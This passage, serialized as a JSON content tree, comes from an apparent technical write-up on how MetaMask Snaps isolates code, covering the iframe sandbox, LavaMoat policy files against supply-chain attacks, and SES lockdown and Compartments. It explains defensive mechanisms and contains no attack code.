{\n",{"type":22,"tag":264,"props":37768,"children":37769},{"class":1534,"line":1583},[37770,37775,37780,37784,37788,37793,37797,37801,37805,37810,37814,37819,37823,37827],{"type":22,"tag":264,"props":37771,"children":37772},{"style":1539},[37773],{"type":27,"value":37774},"    const ",{"type":22,"tag":264,"props":37776,"children":37777},{"style":1549},[37778],{"type":27,"value":37779},"iframeWindow",{"type":22,"tag":264,"props":37781,"children":37782},{"style":4309},[37783],{"type":27,"value":4312},{"type":22,"tag":264,"props":37785,"children":37786},{"style":4328},[37787],{"type":27,"value":37526},{"type":22,"tag":264,"props":37789,"children":37790},{"style":4401},[37791],{"type":27,"value":37792}," createWindow",{"type":22,"tag":264,"props":37794,"children":37795},{"style":1539},[37796],{"type":27,"value":2660},{"type":22,"tag":264,"props":37798,"children":37799},{"style":4293},[37800],{"type":27,"value":18996},{"type":22,"tag":264,"props":37802,"children":37803},{"style":1539},[37804],{"type":27,"value":210},{"type":22,"tag":264,"props":37806,"children":37807},{"style":1549},[37808],{"type":27,"value":37809},"iframeUrl",{"type":22,"tag":264,"props":37811,"children":37812},{"style":1539},[37813],{"type":27,"value":210},{"type":22,"tag":264,"props":37815,"children":37816},{"style":4401},[37817],{"type":27,"value":37818},"toString",{"type":22,"tag":264,"props":37820,"children":37821},{"style":1539},[37822],{"type":27,"value":19678},{"type":22,"tag":264,"props":37824,"children":37825},{"style":1549},[37826],{"type":27,"value":37512},{"type":22,"tag":264,"props":37828,"children":37829},{"style":1539},[37830],{"type":27,"value":5142},{"type":22,"tag":264,"props":37832,"children":37833},{"class":1534,"line":1603},[37834],{"type":22,"tag":264,"props":37835,"children":37836},{"emptyLinePlaceholder":17},[37837],{"type":27,"value":4986},{"type":22,"tag":264,"props":37839,"children":37840},{"class":1534,"line":1612},[37841,37845,37849,37853,37857,37862],{"type":22,"tag":264,"props":37842,"children":37843},{"style":1539},[37844],{"type":27,"value":37774},{"type":22,"tag":264,"props":37846,"children":37847},{"style":1549},[37848],{"type":27,"value":37576},{"type":22,"tag":264,"props":37850,"children":37851},{"style":4309},[37852],{"type":27,"value":4312},{"type":22,"tag":264,"props":37854,"children":37855},{"style":4293},[37856],{"type":27,"value":33248},{"type":22,"tag":264,"props":37858,"children":37859},{"style":4401},[37860],{"type":27,"value":37861}," WindowPostMessageStream",{"type":22,"tag":264,"props":37863,"children":37864},{"style":1539},[37865],{"type":27,"value":16440},{"type":22,"tag":264,"props":37867,"children":37868},{"class":1534,"line":1621},[37869,37874,37879],{"type":22,"tag":264,"props":37870,"children":37871},{"style":1549},[37872],{"type":27,"value":37873},"      name:",{"type":22,"tag":264,"props":37875,"children":37876},{"style":1597},[37877],{"type":27,"value":37878}," 'parent'",{"type":22,"tag":264,"props":37880,"children":37881},{"style":1539},[37882],{"type":27,"value":4812},{"type":22,"tag":264,"props":37884,"children":37885},{"class":1534,"line":1629},[37886,37891,37896],{"type":22,"tag":264,"props":37887,"children":37888},{"style":1549},[37889],{"type":27,"value":37890},"      target:",{"type":22,"tag":264,"props":37892,"children":37893},{"style":1597},[37894],{"type":27,"value":37895}," 'child'",{"type":22,"tag":264,"props":37897,"children":37898},{"style":1539},[37899],{"type":27,"value":4812},{"type":22,"tag":264,"props":37901,"children":37902},{"class":1534,"line":1642},[37903,37908,37913],{"type":22,"tag":264,"props":37904,"children":37905},{"style":1549},[37906],{"type":27,"value":37907},"      targetWindow:",{"type":22,"tag":264,"props":37909,"children":37910},{"style":1549},[37911],{"type":27,"value":37912}," iframeWindow",{"type":22,"tag":264,"props":37914,"children":37915},{"style":1539},[37916],{"type":27,"value":4812},{"type":22,"tag":264,"props":37918,"children":37919},{"class":1534,"line":1660},[37920,37925,37930],{"type":22,"tag":264,"props":37921,"children":37922},{"style":1549},[37923],{"type":27,"value":37924},"      targetOrigin:",{"type":22,"tag":264,"props":37926,"children":37927},{"style":1597},[37928],{"type":27,"value":37929}," '*'",{"type":22,"tag":264,"props":37931,"children":37932},{"style":1539},[37933],{"type":27,"value":4812},{"type":22,"tag":264,"props":37935,"children":37936},{"class":1534,"line":1668},[37937],{"type":22,"tag":264,"props":37938,"children":37939},{"style":1539},[37940],{"type":27,"value":33572},{"type":22,"tag":264,"props":37942,"children":37943},{"class":1534,"line":1677},[37944],{"type":22,"tag":264,"props":37945,"children":37946},{"emptyLinePlaceholder":17},[37947],{"type":27,"value":4986},{"type":22,"tag":264,"props":37949,"children":37950},{"class":1534,"line":1686},[37951,37956,37960,37964,37968],{"type":22,"tag":264,"props":37952,"children":37953},{"style":1539},[37954],{"type":27,"value":37955},"    return { worker: ",{"type":22,"tag":264,"props":37957,"children":37958},{"style":1549},[37959],{"type":27,"value":37779},{"type":22,"tag":264,"props":37961,"children":37962},{"style":1539},[37963],{"type":27,"value":4380},{"type":22,"tag":264,"props":37965,"children":37966},{"style":1549},[37967],{"type":27,"value":37576},{"type":22,"tag":264,"props":37969,"children":37970},{"style":1539},[37971],{"type":27,"value":19602},{"type":22,"tag":264,"props":37973,"children":37974},{"class":1534,"line":4948},[37975],{"type":22,"tag":264,"props":37976,"children":37977},{"style":1539},[37978],{"type":27,"value":7163},{"type":22,"tag":23,"props":37980,"children":37981},{},[37982,37984,37990,37992,37999],{"type":27,"value":37983},"Here the iframe is created via ",{"type":22,"tag":257,"props":37985,"children":37987},{"className":37986},[],[37988],{"type":27,"value":37989},"createWindow",{"type":27,"value":37991},", which is defined in snaps-utils ",{"type":22,"tag":69,"props":37993,"children":37996},{"href":37994,"rel":37995},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[73],[37997],{"type":27,"value":37998},"package",{"type":27,"value":5785},{"type":22,"tag":618,"props":38001,"children":38003},{"className":37245,"code":38002,"language":37247,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[38004],{"type":22,"tag":257,"props":38005,"children":38006},{"__ignoreMap":7},[38007,38050,38088,38125,38132,38152,38190,38197,38234],{"type":22,"tag":264,"props":38008,"children":38009},{"class":1534,"line":1535},[38010,38014,38019,38023,38028,38032,38037,38041,38046],{"type":22,"tag":264,"props":38011,"children":38012},{"style":4293},[38013],{"type":27,"value":10953},{"type":22,"tag":264,"props":38015,"children":38016},{"style":1549},[38017],{"type":27,"value":38018}," iframe",{"type":22,"tag":264,"props":38020,"children":38021},{"style":4309},[38022],{"type":27,"value":4312},{"type":22,"tag":264,"props":38024,"children":38025},{"style":1549},[38026],{"type":27,"value":38027}," document",{"type":22,"tag":264,"props":38029,"children":38030},{"style":1539},[38031],{"type":27,"value":210},{"type":22,"tag":264,"props":38033,"children":38034},{"style":4401},[38035],{"type":27,"value":38036},"createElement",{"type":22,"tag":264,"props":38038,"children":38039},{"style":1539},[38040],{"type":27,"value":2660},{"type":22,"tag":264,"props":38042,"children":38043},{"style":1597},[38044],{"type":27,"value":38045},"'iframe'",{"type":22,"tag":264,"props":38047,"children":38048},{"style":1539},[38049],{"type":27,"value":5142},{"type":22,"tag":264,"props":38051,"children":38052},{"class":1534,"line":1545},[38053,38058,38062,38067,38071,38076,38080,38084],{"type":22,"tag":264,"props":38054,"children":38055},{"style":1549},[38056],{"type":27,"value":38057},"    iframe",{"type":22,"tag":264,"props":38059,"children":38060},{"style":1539},[38061],{"type":27,"value":210},{"type":22,"tag":264,"props":38063,"children":38064},{"style":4401},[38065],{"type":27,"value":38066},"setAttribute",{"type":22,"tag":264,"props":38068,"children":38069},{"style":1539},[38070],{"type":27,"value":2660},{"type":22,"tag":264,"props":38072,"children":38073},{"style":1597},[38074],{"type":27,"value":38075},"'id'",{"type":22,"tag":264,"props":38077,"children":38078},{"style":1539},[38079],{"type":27,"value":4380},{"type":22,"tag":264,"props":38081,"children":38082},{"style":1549},[38083],{"type":27,"value":4790},{"type":22,"tag":264,"props":38085,"children":38086},{"style":1539},[38087],{"type":27,"value":5142},{"type":22,"tag":264,"props":38089,"children":38090},{"class":1534,"line":1560},[38091,38095,38099,38103,38107,38112,38116,38121],{"type":22,"tag":264,"props":38092,"children":38093},{"style":1549},[38094],{"type":27,"value":38057},{"type":22,"tag":264,"props":38096,"children":38097},{"style":1539},[38098],{"type":27,"value":210},{"type":22,"tag":264,"props":38100,"children":38101},{"style":4401},[38102],{"type":27,"value":38066},{"type":22,"tag":264,"props":38104,"children":38105},{"style":1539},[38106],{"type":27,"value":2660},{"type":22,"tag":264,"props":38108,"children":38109},{"style":1597},[38110],{"type":27,"value":38111},"'data-testid'",{"type":22,"tag":264,"props":38113,"children":38114},{"style":1539},[38115],{"type":27,"value":4380},{"type":22,"tag":264,"props":38117,"children":38118},{"style":1597},[38119],{"type":27,"value":38120},"'snaps-iframe'",{"type":22,"tag":264,"props":38122,"children":38123},{"style":1539},[38124],{"type":27,"value":5142},{"type":22,"tag":264,"props":38126,"children":38127},{"class":1534,"line":1569},[38128],{"type":22,"tag":264,"props":38129,"children":38130},{"emptyLinePlaceholder":17},[38131],{"type":27,"value":4986},{"type":22,"tag":264,"props":38133,"children":38134},{"class":1534,"line":1583},[38135,38139,38143,38148],{"type":22,"tag":264,"props":38136,"children":38137},{"style":4328},[38138],{"type":27,"value":13578},{"type":22,"tag":264,"props":38140,"children":38141},{"style":1539},[38142],{"type":27,"value":4370},{"type":22,"tag":264,"props":38144,"children":38145},{"style":1549},[38146],{"type":27,"value":38147},"sandbox",{"type":22,"tag":264,"props":38149,"children":38150},{"style":1539},[38151],{"type":27,"value":16103},{"type":22,"tag":264,"props":38153,"children":38154},{"class":1534,"line":1603},[38155,38160,38164,38168,38172,38177,38181,38186],{"type":22,"tag":264,"props":38156,"children":38157},{"style":1549},[38158],{"type":27,"value":38159},"      iframe",{"type":22,"tag":264,"props":38161,"children":38162},{"style":1539},[38163],{"type":27,"value":210},{"type":22,"tag":264,"props":38165,"children":38166},{"style":4401},[38167],{"type":27,"value":38066},{"type":22,"tag":264,"props":38169,"children":38170},{"style":1539},[38171],{"type":27,"value":2660},{"type":22,"tag":264,"props":38173,"children":38174},{"style":1597},[38175],{"type":27,"value":38176},"'sandbox'",{"type":22,"tag":264,"props":38178,"children":38179},{"style":1539},[38180],{"type":27,"value":4380},{"type":22,"tag":264,"props":38182,"children":38183},{"style":1597},[38184],{"type":27,"value":38185},"'allow-scripts'",{"type":22,"tag":264,"props":38187,"children":38188},{"style":1539},[38189],{"type":27,"value":5142},{"type":22,"tag":264,"props":38191,"children":38192},{"class":1534,"line":1612},[38193],{"type":22,"tag":264,"props":38194,"children":38195},{"style":1539},[38196],{"type":27,"value":1674},{"type":22,"tag":264,"props":38198,"children":38199},{"class":1534,"line":1621},[38200,38204,38208,38212,38216,38221,38225,38230],{"type":22,"tag":264,"props":38201,"children":38202},{"style":1549},[38203],{"type":27,"value":38057},{"type":22,"tag":264,"props":38205,"children":38206},{"style":1539},[38207],{"type":27,"value":210},{"type":22,"tag":264,"props":38209,"children":38210},{"style":4401},[38211],{"type":27,"value":38066},{"type":22,"tag":264,"props":38213,"children":38214},{"style":1539},[38215],{"type":27,"value":2660},{"type":22,"tag":264,"props":38217,"children":38218},{"style":1597},[38219],{"type":27,"value":38220},"'src'",{"type":22,"tag":264,"props":38222,"children":38223},{"style":1539},[38224],{"type":27,"value":4380},{"type":22,"tag":264,"props":38226,"children":38227},{"style":1549},[38228],{"type":27,"value":38229},"uri",{"type":22,"tag":264,"props":38231,"children":38232},{"style":1539},[38233],{"type":27,"value":5142},{"type":22,"tag":264,"props":38235,"children":38236},{"class":1534,"line":1629},[38237,38241,38245,38249,38253,38258,38262,38267],{"type":22,"tag":264,"props":38238,"children":38239},{"style":1549},[38240],{"type":27,"value":35987},{"type":22,"tag":264,"props":38242,"children":38243},{"style":1539},[38244],{"type":27,"value":210},{"type":22,"tag":264,"props":38246,"children":38247},{"style":1549},[38248],{"type":27,"value":33715},{"type":22,"tag":264,"props":38250,"children":38251},{"style":1539},[38252],{"type":27,"value":210},{"type":22,"tag":264,"props":38254,"children":38255},{"style":4401},[38256],{"type":27,"value":38257},"appendChild",{"type":22,"tag":264,"props":38259,"children":38260},{"style":1539},[38261],{"type":27,"value":2660},{"type":22,"tag":264,"props":38263,"children":38264},{"style":1549},[38265],{"type":27,"value":38266},"iframe",{"type":22,"tag":264,"props":38268,"children":38269},{"style":1539},[38270],{"type":27,"value":5142},{"type":22,"tag":23,"props":38272,"children":38273},{},[38274],{"type":27,"value":38275},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":22,"tag":181,"props":38277,"children":38279},{"id":38278},"lavamoat-against-supply-chain-attacks-layer-2",[38280],{"type":27,"value":38281},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":22,"tag":23,"props":38283,"children":38284},{},[38285],{"type":27,"value":38286},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":22,"tag":23,"props":38288,"children":38289},{},[38290,38292,38298],{"type":27,"value":38291},"Malicious dependencies might utilize built-in modules like ",{"type":22,"tag":257,"props":38293,"children":38295},{"className":38294},[],[38296],{"type":27,"value":38297},"fs",{"type":27,"value":38299},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":22,"tag":23,"props":38301,"children":38302},{},[38303],{"type":27,"value":38304},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":22,"tag":23,"props":38306,"children":38307},{},[38308,38310,38317],{"type":27,"value":38309},"This is how a Policy file related to the iframes ",{"type":22,"tag":69,"props":38311,"children":38314},{"href":38312,"rel":38313},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[73],[38315],{"type":27,"value":38316},"looks",{"type":27,"value":5785},{"type":22,"tag":618,"props":38319,"children":38321},{"className":1525,"code":38320,"language":1527,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[38322],{"type":22,"tag":257,"props":38323,"children":38324},{"__ignoreMap":7},[38325,38337,38349,38369,38389,38409,38429,38449,38469,38489,38506,38514,38526,38546,38562,38569],{"type":22,"tag":264,"props":38326,"children":38327},{"class":1534,"line":1535},[38328,38333],{"type":22,"tag":264,"props":38329,"children":38330},{"style":1597},[38331],{"type":27,"value":38332},"\"@metamask/post-message-stream\"",{"type":22,"tag":264,"props":38334,"children":38335},{"style":1539},[38336],{"type":27,"value":1580},{"type":22,"tag":264,"props":38338,"children":38339},{"class":1534,"line":1545},[38340,38345],{"type":22,"tag":264,"props":38341,"children":38342},{"style":1549},[38343],{"type":27,"value":38344},"      \"globals\"",{"type":22,"tag":264,"props":38346,"children":38347},{"style":1539},[38348],{"type":27,"value":1580},{"type":22,"tag":264,"props":38350,"children":38351},{"class":1534,"line":1560},[38352,38357,38361,38365],{"type":22,"tag":264,"props":38353,"children":38354},{"style":1549},[38355],{"type":27,"value":38356},"        \"MessageEvent.prototype\"",{"type":22,"tag":264,"props":38358,"children":38359},{"style":1539},[38360],{"type":27,"value":1594},{"type":22,"tag":264,"props":38362,"children":38363},{"style":4293},[38364],{"type":27,"value":273},{"type":22,"tag":264,"props":38366,"children":38367},{"style":1539},[38368],{"type":27,"value":4812},{"type":22,"tag":264,"props":38370,"children":38371},{"class":1534,"line":1569},[38372,38377,38381,38385],{"type":22,"tag":264,"props":38373,"children":38374},{"style":1549},[38375],{"type":27,"value":38376},"        \"WorkerGlobalScope\"",{"type":22,"tag":264,"props":38378,"children":38379},{"style":1539},[38380],{"type":27,"value":1594},{"type":22,"tag":264,"props":38382,"children":38383},{"style":4293},[38384],{"type":27,"value":273},{"type":22,"tag":264,"props":38386,"children":38387},{"style":1539},[38388],{"type":27,"value":4812},{"type":22,"tag":264,"props":38390,"children":38391},{"class":1534,"line":1583},[38392,38397,38401,38405],{"type":22,"tag":264,"props":38393,"children":38394},{"style":1549},[38395],{"type":27,"value":38396},"        \"addEventListener\"",{"type":22,"tag":264,"props":38398,"children":38399},{"style":1539},[38400],{"type":27,"value":1594},{"type":22,"tag":264,"props":38402,"children":38403},{"style":4293},[38404],{"type":27,"value":273},{"type":22,"tag":264,"props":38406,"children":38407},{"style":1539},[38408],{"type":27,"value":4812},{"type":22,"tag":264,"props":38410,"children":38411},{"class":1534,"line":1603},[38412,38417,38421,38425],{"type":22,"tag":264,"props":38413,"children":38414},{"style":1549},[38415],{"type":27,"value":38416},"        \"browser\"",{"type":22,"tag":264,"props":38418,"children":38419},{"style":1539},[38420],{"type":27,"value":1594},{"type":22,"tag":264,"props":38422,"children":38423},{"style":4293},[38424],{"type":27,"value":273},{"type":22,"tag":264,"props":38426,"children":38427},{"style":1539},[38428],{"type":27,"value":4812},{"type":22,"tag":264,"props":38430,"children":38431},{"class":1534,"line":1612},[38432,38437,38441,38445],{"type":22,"tag":264,"props":38433,"children":38434},{"style":1549},[38435],{"type":27,"value":38436},"        \"chrome\"",{"type":22,"tag":264,"props":38438,"children":38439},{"style":1539},[38440],{"type":27,"value":1594},{"type":22,"tag":264,"props":38442,"children":38443},{"style":4293},[38444],{"type":27,"value":273},{"type":22,"tag":264,"props":38446,"children":38447},{"style":1539},[38448],{"type":27,"value":4812},{"type":22,"tag":264,"props":38450,"children":38451},{"class":1534,"line":1621},[38452,38457,38461,38465],{"type":22,"tag":264,"props":38453,"children":38454},{"style":1549},[38455],{"type":27,"value":38456},"        \"location.origin\"",{"type":22,"tag":264,"props":38458,"children":38459},{"style":1539},[38460],{"type":27,"value":1594},{"type":22,"tag":264,"props":38462,"children":38463},{"style":4293},[38464],{"type":27,"value":273},{"type":22,"tag":264,"props":38466,"children":38467},{"style":1539},[38468],{"type":27,"value":4812},{"type":22,"tag":264,"props":38470,"children":38471},{"class":1534,"line":1629},[38472,38477,38481,38485],{"type":22,"tag":264,"props":38473,"children":38474},{"style":1549},[38475],{"type":27,"value":38476},"        \"postMessage\"",{"type":22,"tag":264,"props":38478,"children":38479},{"style":1539},[38480],{"type":27,"value":1594},{"type":22,"tag":264,"props":38482,"children":38483},{"style":4293},[38484],{"type":27,"value":273},{"type":22,"tag":264,"props":38486,"children":38487},{"style":1539},[38488],{"type":27,"value":4812},{"type":22,"tag":264,"props":38490,"children":38491},{"class":1534,"line":1642},[38492,38497,38501],{"type":22,"tag":264,"props":38493,"children":38494},{"style":1549},[38495],{"type":27,"value":38496},"        \"removeEventListener\"",{"type":22,"tag":264,"props":38498,"children":38499},{"style":1539},[38500],{"type":27,"value":1594},{"type":22,"tag":264,"props":38502,"children":38503},{"style":4293},[38504],{"type":27,"value":38505},"true\n",{"type":22,"tag":264,"props":38507,"children":38508},{"class":1534,"line":1660},[38509],{"type":22,"tag":264,"props":38510,"children":38511},{"style":1539},[38512],{"type":27,"value":38513},"      },\n",{"type":22,"tag":264,"props":38515,"children":38516},{"class":1534,"line":1668},[38517,38522],{"type":22,"tag":264,"props":38518,"children":38519},{"style":1549},[38520],{"type":27,"value":38521},"      \"packages\"",{"type":22,"tag":264,"props":38523,"children":38524},{"style":1539},[38525],{"type":27,"value":1580},{"type":22,"tag":264,"props":38527,"children":38528},{"class":1534,"line":1677},[38529,38534,38538,38542],{"type":22,"tag":264,"props":38530,"children":38531},{"style":1549},[38532],{"type":27,"value":38533},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":22,"tag":264,"props":38535,"children":38536},{"style":1539},[38537],{"type":27,"value":1594},{"type":22,"tag":264,"props":38539,"children":38540},{"style":4293},[38541],{"type":27,"value":273},{"type":22,"tag":264,"props":38543,"children":38544},{"style":1539},[38545],{"type":27,"value":4812},{"type":22,"tag":264,"props":38547,"children":38548},{"class":1534,"line":1686},[38549,38554,38558],{"type":22,"tag":264,"props":38550,"children":38551},{"style":1549},[38552],{"type":27,"value":38553},"        \"@metamask/post-message-stream>readable-stream\"",{"type":22,"tag":264,"props":38555,"children":38556},{"style":1539},[38557],{"type":27,"value":1594},{"type":22,"tag":264,"props":38559,"children":38560},{"style":4293},[38561],{"type":27,"value":38505},{"type":22,"tag":264,"props":38563,"children":38564},{"class":1534,"line":4948},[38565],{"type":22,"tag":264,"props":38566,"children":38567},{"style":1539},[38568],{"type":27,"value":1609},{"type":22,"tag":264,"props":38570,"children":38571},{"class":1534,"line":4957},[38572],{"type":22,"tag":264,"props":38573,"children":38574},{"style":1539},[38575],{"type":27,"value":1674},{"type":22,"tag":23,"props":38577,"children":38578},{},[38579,38581,38587,38589,38595,38597,38603,38605,38611,38612,38618],{"type":27,"value":38580},"One crucial aspect of the policy, apart from the ",{"type":22,"tag":257,"props":38582,"children":38584},{"className":38583},[],[38585],{"type":27,"value":38586},"globals",{"type":27,"value":38588}," section, is the ",{"type":22,"tag":257,"props":38590,"children":38592},{"className":38591},[],[38593],{"type":27,"value":38594},"packages",{"type":27,"value":38596}," segment. This section permits the ",{"type":22,"tag":257,"props":38598,"children":38600},{"className":38599},[],[38601],{"type":27,"value":38602},"@metamask/post-message-stream",{"type":27,"value":38604},"package to exclusively interact with the package ",{"type":22,"tag":257,"props":38606,"children":38608},{"className":38607},[],[38609],{"type":27,"value":38610},"@metamask/utils",{"type":27,"value":12290},{"type":22,"tag":257,"props":38613,"children":38615},{"className":38614},[],[38616],{"type":27,"value":38617},"readable-stream",{"type":27,"value":38619},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":22,"tag":23,"props":38621,"children":38622},{},[38623,38625,38631],{"type":27,"value":38624},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":22,"tag":257,"props":38626,"children":38628},{"className":38627},[],[38629],{"type":27,"value":38630},"lockdown",{"type":27,"value":38632}," function to freeze all javascript builtins prototypes.",{"type":22,"tag":181,"props":38634,"children":38636},{"id":38635},"secure-ecmascript-ses-sandbox-layer-3",[38637],{"type":27,"value":38638},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":22,"tag":23,"props":38640,"children":38641},{},[38642,38644,38651],{"type":27,"value":38643},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":22,"tag":69,"props":38645,"children":38648},{"href":38646,"rel":38647},"https://github.com/endojs/endo/tree/master/packages/ses",[73],[38649],{"type":27,"value":38650},"Secure EcmaScript (SES)",{"type":27,"value":38652}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":22,"tag":20197,"props":38654,"children":38656},{"id":38655},"ses-fundamentals",[38657],{"type":27,"value":38658},"SES Fundamentals",{"type":22,"tag":38660,"props":38661,"children":38662},"h5",{"id":38630},[38663],{"type":27,"value":38664},"Lockdown",{"type":22,"tag":23,"props":38666,"children":38667},{},[38668,38670,38676],{"type":27,"value":38669},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":22,"tag":257,"props":38671,"children":38673},{"className":38672},[],[38674],{"type":27,"value":38675},"lockdown()",{"type":27,"value":38677}," function, which protects javascript objects against some attacks, mainly:",{"type":22,"tag":1867,"props":38679,"children":38680},{},[38681,38694],{"type":22,"tag":1871,"props":38682,"children":38683},{},[38684,38686,38692],{"type":27,"value":38685},"Prototype Pollution\nLockdown executes ",{"type":22,"tag":257,"props":38687,"children":38689},{"className":38688},[],[38690],{"type":27,"value":38691},"Object.freeze",{"type":27,"value":38693}," against all javascript builtins prototypes, preventing these attacks.",{"type":22,"tag":1871,"props":38695,"children":38696},{},[38697,38699,38705,38707,38713],{"type":27,"value":38698},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":22,"tag":257,"props":38700,"children":38702},{"className":38701},[],[38703],{"type":27,"value":38704},"trace",{"type":27,"value":38706}," attribute in an ",{"type":22,"tag":257,"props":38708,"children":38710},{"className":38709},[],[38711],{"type":27,"value":38712},"Error",{"type":27,"value":38714}," object, which contains the stack trace of the error.",{"type":22,"tag":38660,"props":38716,"children":38718},{"id":38717},"compartment",[38719],{"type":27,"value":38720},"Compartment",{"type":22,"tag":23,"props":38722,"children":38723},{},[38724,38726,38732,38734,38739],{"type":27,"value":38725},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":22,"tag":257,"props":38727,"children":38729},{"className":38728},[],[38730],{"type":27,"value":38731},"globalThis",{"type":27,"value":38733}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":22,"tag":257,"props":38735,"children":38737},{"className":38736},[],[38738],{"type":27,"value":38731},{"type":27,"value":38740}," context is incapable of tampering with security.",{"type":22,"tag":618,"props":38742,"children":38744},{"className":36928,"code":38743,"language":36930,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[38745],{"type":22,"tag":257,"props":38746,"children":38747},{"__ignoreMap":7},[38748,38777,38810],{"type":22,"tag":264,"props":38749,"children":38750},{"class":1534,"line":1535},[38751,38755,38760,38764,38768,38773],{"type":22,"tag":264,"props":38752,"children":38753},{"style":4293},[38754],{"type":27,"value":10953},{"type":22,"tag":264,"props":38756,"children":38757},{"style":1549},[38758],{"type":27,"value":38759}," c",{"type":22,"tag":264,"props":38761,"children":38762},{"style":4309},[38763],{"type":27,"value":4312},{"type":22,"tag":264,"props":38765,"children":38766},{"style":4293},[38767],{"type":27,"value":33248},{"type":22,"tag":264,"props":38769,"children":38770},{"style":4401},[38771],{"type":27,"value":38772}," Compartment",{"type":22,"tag":264,"props":38774,"children":38775},{"style":1539},[38776],{"type":27,"value":4977},{"type":22,"tag":264,"props":38778,"children":38779},{"class":1534,"line":1545},[38780,38784,38788,38792,38796,38801,38805],{"type":22,"tag":264,"props":38781,"children":38782},{"style":1549},[38783],{"type":27,"value":4449},{"type":22,"tag":264,"props":38785,"children":38786},{"style":1539},[38787],{"type":27,"value":210},{"type":22,"tag":264,"props":38789,"children":38790},{"style":1549},[38791],{"type":27,"value":38731},{"type":22,"tag":264,"props":38793,"children":38794},{"style":4309},[38795],{"type":27,"value":32737},{"type":22,"tag":264,"props":38797,"children":38798},{"style":1549},[38799],{"type":27,"value":38800}," globalThis",{"type":22,"tag":264,"props":38802,"children":38803},{"style":1539},[38804],{"type":27,"value":18529},{"type":22,"tag":264,"props":38806,"children":38807},{"style":4284},[38808],{"type":27,"value":38809},"// false\n",{"type":22,"tag":264,"props":38811,"children":38812},{"class":1534,"line":1560},[38813,38817,38821,38825,38829,38834,38838,38843,38847],{"type":22,"tag":264,"props":38814,"children":38815},{"style":1549},[38816],{"type":27,"value":4449},{"type":22,"tag":264,"props":38818,"children":38819},{"style":1539},[38820],{"type":27,"value":210},{"type":22,"tag":264,"props":38822,"children":38823},{"style":1549},[38824],{"type":27,"value":38731},{"type":22,"tag":264,"props":38826,"children":38827},{"style":1539},[38828],{"type":27,"value":210},{"type":22,"tag":264,"props":38830,"children":38831},{"style":1549},[38832],{"type":27,"value":38833},"JSON",{"type":22,"tag":264,"props":38835,"children":38836},{"style":4309},[38837],{"type":27,"value":32737},{"type":22,"tag":264,"props":38839,"children":38840},{"style":1549},[38841],{"type":27,"value":38842}," JSON",{"type":22,"tag":264,"props":38844,"children":38845},{"style":1539},[38846],{"type":27,"value":18529},{"type":22,"tag":264,"props":38848,"children":38849},{"style":4284},[38850],{"type":27,"value":38851},"// true\n",{"type":22,"tag":23,"props":38853,"children":38854},{},[38855,38857,38863,38865,38871,38873,38878],{"type":27,"value":38856},"Compartment also changes the behaviour of evaluators functions such as ",{"type":22,"tag":257,"props":38858,"children":38860},{"className":38859},[],[38861],{"type":27,"value":38862},"eval",{"type":27,"value":38864}," and the ",{"type":22,"tag":257,"props":38866,"children":38868},{"className":38867},[],[38869],{"type":27,"value":38870},"Function",{"type":27,"value":38872}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":22,"tag":257,"props":38874,"children":38876},{"className":38875},[],[38877],{"type":27,"value":38731},{"type":27,"value":210},{"type":22,"tag":38660,"props":38880,"children":38882},{"id":38881},"endowments",[38883],{"type":27,"value":38884},"Endowments",{"type":22,"tag":23,"props":38886,"children":38887},{},[38888,38890,38894,38896,38901],{"type":27,"value":38889},"While creating a Compartment, it is possible to specify ",{"type":22,"tag":1699,"props":38891,"children":38892},{},[38893],{"type":27,"value":38881},{"type":27,"value":38895},". These endowments constitute objects that become accessible within the Compartment's ",{"type":22,"tag":257,"props":38897,"children":38899},{"className":38898},[],[38900],{"type":27,"value":38731},{"type":27,"value":38902},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":22,"tag":23,"props":38904,"children":38905},{},[38906,38908,38914],{"type":27,"value":38907},"In addition, SES provides the ",{"type":22,"tag":257,"props":38909,"children":38911},{"className":38910},[],[38912],{"type":27,"value":38913},"harden()",{"type":27,"value":38915}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a 